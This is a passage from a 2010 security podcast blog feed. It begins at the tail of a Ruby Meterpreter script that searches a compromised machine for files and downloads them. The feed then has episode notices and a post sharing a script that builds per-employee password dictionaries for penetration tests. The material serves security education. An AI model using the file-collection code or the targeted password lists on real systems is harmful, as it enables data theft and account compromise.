</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        # Search <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=for&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">for</a> files <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=and&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">and</a> <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=save&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">save</a> their location <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=if&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">if</a> specified
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=if&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">if</a> search_blob.length &gt; 0 <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=and&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">and</a> location
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            search_blob.each do |s|
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                print_status(&quot;<span style="color: #8b0000">Searching for #{s}</span>&quot;)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                results = @client.fs.<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=file&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">file</a>.search(location,s,recurse)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                results.each do |<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=file&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">file</a>|
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                    print_status(&quot;<span style="color: #8b0000">\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)</span>&quot;)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                    file_local_write(output_file,&quot;<span style="color: #8b0000">#{file['path']}\\#{file['name']}</span>&quot;) <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=if&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">if</a> output_file
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=end&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">end</a>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=end&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">end</a>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=end&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">end</a>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        # <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=Read&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">Read</a> log <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=file&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">file</a> <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=and&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">and</a> download those files <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=found&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">found</a>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=if&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">if</a> input_file <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=and&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">and</a> logs
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=if&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">if</a> ::<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=File&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">File</a>.<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=exists&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">exists</a>?(input_file)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                print_status(&quot;<span style="color: #8b0000">Reading file #{input_file}</span>&quot;)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                ::<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=File&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">File</a>.<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=open&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">open</a>(input_file, &quot;<span style="color: #8b0000">r</span>&quot;).each_line do |line|
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                    print_status(&quot;<span style="color: #8b0000">Downloading #{line.chomp}</span>&quot;)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                    @client.fs.<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=file&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">file</a>.download(logs, line.chomp)
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=end&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">end</a>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=else&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">else</a>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">                print_error(&quot;<span style="color: #8b0000">File #{input_file} does not exist!</span>&quot;)
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">            <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=end&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">end</a>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=end&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">end</a>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=else&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">else</a>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">        <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=usage&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">usage</a>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=end&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">end</a>
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=else&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">else</a>
</pre><pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">    print_error[&quot;<span style="color: #8b0000">This script is not supported on this version of Meterpreter.</span>&quot;]
</pre><pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=end&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">end</a></pre></pre>]]>
        
    </content>
</entry>

<entry>
    <title>Watch Dan Kaminsky restart the internet LIVE Thursday night.</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/watch-dan-kaminsky-restart-the.html" />
    <id>tag:pauldotcom.com,2010://1.917</id>

    <published>2010-08-25T18:00:00Z</published>
    <updated>2010-08-25T18:02:34Z</updated>

    <summary>Alright, so maybe Dan needs some other folks to help, and maybe they&apos;re not capable of resetting the internet per se, but regardless, we have Dan Kaminsky live on Episode 208 of PaulDotCom Security Weekly, at 7:30 PM EDT tomorrow...</summary>
    <author>
        <name>Mike Perez</name>
        <uri>http://pauldotcom.com</uri>
    </author>
    
        <category term="Security Weekly" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p>Alright, so maybe Dan needs <a href="http://www.schneier.com/blog/archives/2010/07/dnssec_root_key.html"> some other folks to help</a>, and maybe they're not capable of resetting the internet <a href="http://www.guardian.co.uk/technology/2010/jul/27/internet-key"> <em>per se</em></a>, but regardless, we have Dan Kaminsky live on  <a href="http://pauldotcom.com/wiki/index.php/Episode208"> Episode 208</a> of PaulDotCom Security Weekly, at 7:30 PM EDT tomorrow night!</p>

<p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="dnssec_reset_man.jpg" src="http://pauldotcom.com/dnssec_reset_man.jpg" width="200" height="354" class="mt-image-center" style="text-align: center; display: block; margin: 0 auto 20px;" /></span></p>

<p>Carlos Perez will speak about <a href="http://pauldotcom.com/wiki/index.php/Episode208#Tech_Segment:_Carlos_.22Dark0perator.22_Perez_Karmetasploit_script_for_BT4">his latest Ruby script for launching Karmetasploit type attacks in Backtrack!</a> </p>

<p>Join the IRC channel during the stream - we can take live comments and discussion from the channel!  Find us on IRC at irc.freenode.net #pauldotcom (You will be required to register in order to chat in the channel, this is an anti-spam measure).</p>

<p>When active, the live stream(s) can be found at:</p>

<p><a href="http://pauldotcom.com/livestream-chat.html">PaulDotCom Live!</a> - You can watch the live video, listen, and chat during each episode! You can access the streaming videos at any time by visiting <a href="http://pauldotcom.com/live/">http://pauldotcom.com/live/</a></p>

<p><a href="http://radio.pauldotcom.com:8000">PaulDotCom Icecast Radio (Audio Only)</a></p>

<p>Break out your adult beverage of choice and join us, enjoy the show live, and thanks for listening!</p>

<p>- Paul "Salad Shooter" Asadoorian, Larry "HaxorTheMatrix" Pesce, Carlos "Dark 0perator" Perez, Darren "The Other Guy" Wigley, and John "The Father" Strand.<blockquote></blockquote></p>]]>
        
    </content>
</entry>

<entry>
    <title>PaulDotCom - Security Weekly - Episode 207 part 2 - August 19th, 2010</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/pauldotcom---security-weekly---12.html" />
    <id>tag:pauldotcom.com,2010://1.918</id>

    <published>2010-08-25T00:56:08Z</published>
    <updated>2010-08-25T00:56:10Z</updated>

    <summary>Episode 207 Show Notes A few things happend in the world of info-sec, about 7.7 billion things, and we discuss them. Episode 207 Part 2 - Direct Audio Download Hosts: Paul &quot;PaulDotCom&quot; Asadoorian,John Strand,Larry Pesce,Carlos Perez Audio Feeds:...</summary>
    <author>
        <name>Darren Wigley</name>
        <uri>http://pauldotcom.com</uri>
    </author>
    
        <category term="Security Weekly" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p><a href="http://pauldotcom.com/wiki/index.php/Episode207">Episode 207 Show Notes</a><br />
  </p>

<p></p>

<div style="text-align:center;"><img src="http://pauldotcom.com//oldnews.jpg" alt="oldnews.jpg" border="0" width="265" height="400" /></div>
A few things happend in the world of info-sec, about 7.7 billion things, and we discuss them.  

<p><br />
<div style="text-align:center;"><a href="http://traffic.libsyn.com/pauldotcom/pauldotcom-SW-Episode207-pt2.mp3">Episode 207 Part 2 - Direct Audio Download</a></div></p>

<p>Hosts: <a href="http://pauldotcom.com">Paul "PaulDotCom" Asadoorian</a>,<a href="http://www.pauldotcom.com">John Strand</a>,<a href="http://www.pauldotcom.com">Larry Pesce</a>,<a href="http://www.pauldotcom.com">Carlos Perez</a></p>

<p>Audio Feeds: <a href="http://pauldotcom.com/podcast/psw.xml"><img src="http://pauldotcom.com/images/xml.png"></a>  <a href="http://www.odeo.com/channel/38062/view"><img src="http://pauldotcom.com/images/badge-channel-black.gif"></a><a href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=91472687"> <img src="http://pauldotcom.com/images/itunes.gif"></a></p>]]>
        
    </content>
</entry>

<entry>
    <title>PaulDotCom - Security Weekly - Episode 207 part 1 - August 19th 2010</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/pauldotcom---security-weekly---11.html" />
    <id>tag:pauldotcom.com,2010://1.916</id>

    <published>2010-08-24T03:15:07Z</published>
    <updated>2010-08-24T03:15:10Z</updated>

    <summary>Episode 207 Show Notes This time we have all the audio so I don&apos;t have to spend more time in the &apos;cage&apos;. Smile for my temporary freedom as you listen to Chris Paget talk about his dreams to one day...</summary>
    <author>
        <name>Darren Wigley</name>
        <uri>http://pauldotcom.com</uri>
    </author>
    
        <category term="Security Weekly" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p><a href="http://pauldotcom.com/wiki/index.php/Episode207">Episode 207 Show Notes</a><br />
  </p>

<p></p>

<div style="text-align:center;"><img src="http://pauldotcom.com//celltower.jpg" alt="celltower.jpg" border="0" width="236" height="400" /></div>
This time we have all the audio so I don't have to spend more time in the 'cage'.  Smile for my temporary freedom as you listen to Chris Paget talk about his dreams to one day read RFID tags on the international space station while listening in on your phone conversations.  Then enjoy as Ron Bowes talk about his password gathering efforts from Canada eh.  

<p><br />
<div style="text-align:center;"><a href="http://traffic.libsyn.com/pauldotcom/pauldotcom-SW-Episode207-pt1.mp3">Episode 207 Part 1 - Direct Audio Download</a></div></p>

<p>Hosts: <a href="http://pauldotcom.com">Paul "PaulDotCom" Asadoorian</a>,<a href="http://www.pauldotcom.com">John Strand</a>,<a href="http://www.pauldotcom.com">Larry Pesce</a>,<a href="http://www.pauldotcom.com">Carlos Perez</a></p>

<p>Audio Feeds: <a href="http://pauldotcom.com/podcast/psw.xml"><img src="http://pauldotcom.com/images/xml.png"></a>  <a href="http://www.odeo.com/channel/38062/view"><img src="http://pauldotcom.com/images/badge-channel-black.gif"></a><a href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=91472687"> <img src="http://pauldotcom.com/images/itunes.gif"></a></p>]]>
        
    </content>
</entry>

<entry>
    <title>PaulDotCom - Security Weekly - Episode 206 Part 2 - August 12th 2010</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/pauldotcom---security-weekly---10.html" />
    <id>tag:pauldotcom.com,2010://1.915</id>

    <published>2010-08-22T21:08:35Z</published>
    <updated>2010-08-22T21:17:23Z</updated>

    <summary>Episode 206 Show Notes Despite our audio failures we were able to rescue the Barnaby Jack interview. Blame the intern they are expendable and easily replaceable. So please download this fine interview with Mr. Jack as he discusses his imbedded...</summary>
    <author>
        <name>Darren Wigley</name>
        <uri>http://pauldotcom.com</uri>
    </author>
    
        <category term="Security Weekly" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p><a href="http://pauldotcom.com/wiki/index.php/Episode206">Episode 206 Show Notes</a><br />
  </p>

<p>Despite our audio failures we were able to rescue the Barnaby Jack interview.  Blame the intern they are expendable and easily replaceable.  So please download this fine interview with Mr. Jack as he discusses his imbedded systems work, and some thing about ATM machines that he spent some time on.</p>

<div style="text-align:center;"><img src="http://pauldotcom.com//atmcash.jpg" alt="atmcash.jpg" border="0" width="400" height="283" /></div>

<p><br />
<div style="text-align:center;"><a href="http://traffic.libsyn.com/pauldotcom/pauldotcom-SW-Episode206pt2.mp3">Episode 206 Part 2 - Direct Audio Download</a></div></p>

<p>Hosts: <a href="http://pauldotcom.com">Paul "PaulDotCom" Asadoorian</a>,<a href="http://www.pauldotcom.com">John Strand</a>,<a href="http://www.pauldotcom.com">Larry Pesce</a>,<a href="http://www.pauldotcom.com">Carlos Perez</a></p>

<p>Audio Feeds: <a href="http://pauldotcom.com/podcast/psw.xml"><img src="http://pauldotcom.com/images/xml.png"></a>  <a href="http://www.odeo.com/channel/38062/view"><img src="http://pauldotcom.com/images/badge-channel-black.gif"></a><a href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=91472687"> <img src="http://pauldotcom.com/images/itunes.gif"></a></p>]]>
        
    </content>
</entry>

<entry>
    <title>Catch Chris Paget &amp; Ron Bowes live tomorrow night!</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/recording-notice-for-august-19.html" />
    <id>tag:pauldotcom.com,2010://1.914</id>

    <published>2010-08-18T17:00:00Z</published>
    <updated>2010-08-18T13:47:18Z</updated>

    <summary>We have a special treat for Episode 207 of PaulDotCom Security Weekly! We&apos;ll have cellphone (in)security expert Chris Paget on to discuss his recent Defcon experiment on GSM cracking, as well as Ron &quot;Facebook Hacker&quot; Bowes providing a guest tech...</summary>
    <author>
        <name>Mike Perez</name>
        <uri>http://pauldotcom.com</uri>
    </author>
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p>We have a special treat for <a href="http://pauldotcom.com/wiki/index.php/Episode207"> Episode 207</a> of PaulDotCom Security Weekly!  We'll have cellphone (in)security expert Chris Paget on to discuss his recent Defcon experiment on GSM cracking, as well as Ron "Facebook Hacker" Bowes providing a guest tech segment on cracking passwords.  Both guests will be bringing the failboat to their respective targets at 7:30 PM EDT live tomorrow evening.  </p>

<p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="failboat.jpg" src="http://pauldotcom.com/failboat.jpg" width="450" height="338" class="mt-image-center" style="text-align: center; display: block; margin: 0 auto 20px;" /></span></p>

<p>Join the IRC channel during the stream - we can take live comments and discussion from the channel!  Find us on IRC at irc.freenode.net #pauldotcom (You will be required to register in order to chat in the channel, this is an anti-spam measure).</p>

<p>When active, the live stream(s) can be found at:</p>

<p><a href="http://pauldotcom.com/livestream-chat.html">PaulDotCom Live!</a> - You can watch the live video, listen, and chat during each episode! You can access the streaming videos at any time by visiting <a href="http://pauldotcom.com/live/">http://pauldotcom.com/live/</a></p>

<p><a href="http://radio.pauldotcom.com:8000">PaulDotCom Icecast Radio (Audio Only)</a></p>

<p>Break out your adult beverage of choice and join us, enjoy the show live, and thanks for listening!</p>

<p>- Paul "Salad Shooter" Asadoorian, Larry "HaxorTheMatrix" Pesce, Carlos "Dark 0perator" Perez, Darren "The Other Guy" Wigley, John "The Father" Strand, and Mark "Quiet but Deadly" Baggett.<blockquote></blockquote></p>]]>
        
    </content>
</entry>

<entry>
    <title>PaulDotCom - Security Weekly - Episode 206 - August 12th 2010</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/pauldotcom---security-weekly---9.html" />
    <id>tag:pauldotcom.com,2010://1.913</id>

    <published>2010-08-18T03:39:02Z</published>
    <updated>2010-08-18T03:39:03Z</updated>

    <summary>Episode 206 Show Notes Dennis Brown tell us how he used the newly released Kismet for the QuahogCon Badge to spoof parts of the DefCon 18 Ninja Networks party badge. The hosts also discuss stories for this week. The intern...</summary>
    <author>
        <name>Darren Wigley</name>
        <uri>http://pauldotcom.com</uri>
    </author>
    
        <category term="Security Weekly" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p><a href="http://pauldotcom.com/wiki/index.php/Episode206">Episode 206 Show Notes</a><br />
  </p>

<p>Dennis Brown tell us how he used the newly released Kismet for the QuahogCon Badge to spoof parts of the DefCon 18 Ninja Networks party badge.  The hosts also discuss stories for this week.  The intern makes lame excuses for his DefCon 18 party habits.</p>

<div style="text-align:center;"><img src="http://pauldotcom.com//dc18ninja.jpg" alt="dc18ninja.jpg" border="0" width="400" height="299" /></div>

<p><br />
<div style="text-align:center;"><a href="http://traffic.libsyn.com/pauldotcom/PaulDotCom-SW-ep206.mp3">Episode 206 - Direct Audio Download</a></div></p>

<p>Hosts: <a href="http://pauldotcom.com">Paul "PaulDotCom" Asadoorian</a>,<a href="http://www.pauldotcom.com">John Strand</a>,<a href="http://www.pauldotcom.com">Larry Pesce</a>,<a href="http://www.pauldotcom.com">Carlos Perez</a></p>

<p>Audio Feeds: <a href="http://pauldotcom.com/podcast/psw.xml"><img src="http://pauldotcom.com/images/xml.png"></a>  <a href="http://www.odeo.com/channel/38062/view"><img src="http://pauldotcom.com/images/badge-channel-black.gif"></a><a href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=91472687"> <img src="http://pauldotcom.com/images/itunes.gif"></a></p>]]>
        
    </content>
</entry>

<entry>
    <title>Creating per user customized dictionaries</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/draft---creating-per-user-cust.html" />
    <id>tag:pauldotcom.com,2010://1.911</id>

    <published>2010-08-14T22:06:45Z</published>
    <updated>2010-08-14T21:05:11Z</updated>

    <summary>Back in Episode 170 Larry talked about talked about Reconnoiter. Reconnoiter was written by Jason Wood and it builds username list based upon linkedin.com profiles. After using the script on a recent penetration test I thought it would be nice...</summary>
    <author>
        <name>Mark Baggett</name>
        
    </author>
    
        <category term="Videos" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="passwords" label="passwords" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="video" label="video" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p>Back in <a href="http://pauldotcom.com/wiki/index.php/Episode170">Episode 170 Larry talked about talked about Reconnoiter</a>.   Reconnoiter was written by Jason Wood and it builds username list based upon linkedin.com profiles.   After using the script on a recent penetration test I thought it would be nice if I also had a custom dictionary like those created by CeWL for each user at the company.   So I wrote a script to create them and decided to share it with our listeners.</p>

<p>The intended use of userpass.py is to generate a customized password dictionary for every employee at a target company.  You give it the name of your target company and it will give you a separate password file for each user at the company.   In the demoes I target individuals rather than companies, but you get the idea.</p>

<p>We cover <a href="http://www.pauldotcom.com/userpass.py">userpass.p</a>y on <a href="http://www.pauldotcom.com/wiki/index.php/Episode206#Tech_Segment:__Mark_Baggett">episode 206.</a>  So download it and give it a go.   If you want to try it out, but you down have CeWL installed yet just add '-p "echo" '  to the end of your options.   </p>

<p><object width="400" height="225"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=14143350&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=00ADEF&amp;fullscreen=1&amp;autoplay=1&amp;loop=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=14143350&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=00ADEF&amp;fullscreen=1&amp;autoplay=0&amp;loop=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="225"></embed></object><p><a href="http://vimeo.com/14143350">Custom Per user password dictionaries</a> from <a href="http://vimeo.com/pauldotcom">PaulDotCom</a> on <a href="http://vimeo.com">Vimeo</a>.</p> </p>

<p>Here is <a href="http://www.jwnetworkconsulting.com/downloads/usernameGen-v2.1.1.txt">Jason Wood's script</a></p>

<p>Here is <a href="http://www.digininja.org/projects/cewl.php">CeWL by Digininja</a> </p>

<p>Join me in San Antonio for SANS 504 Hacker Techniques and Incident Response November 13-20th.   <a href="http://www.sans.org/san-antonio-2010/description.php?tid=243">Register Today</a></p>

<p><br />
 </p>]]>
        
    </content>
</entry>

<entry>
    <title>Episode 206 Recording Notice: Thursday August 12th 7:30PM EDT</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/mid-afternoon-podcast-recordin.html" />
    <id>tag:pauldotcom.com,2010://1.903</id>

    <published>2010-08-12T13:09:31Z</published>
    <updated>2010-08-12T13:09:35Z</updated>

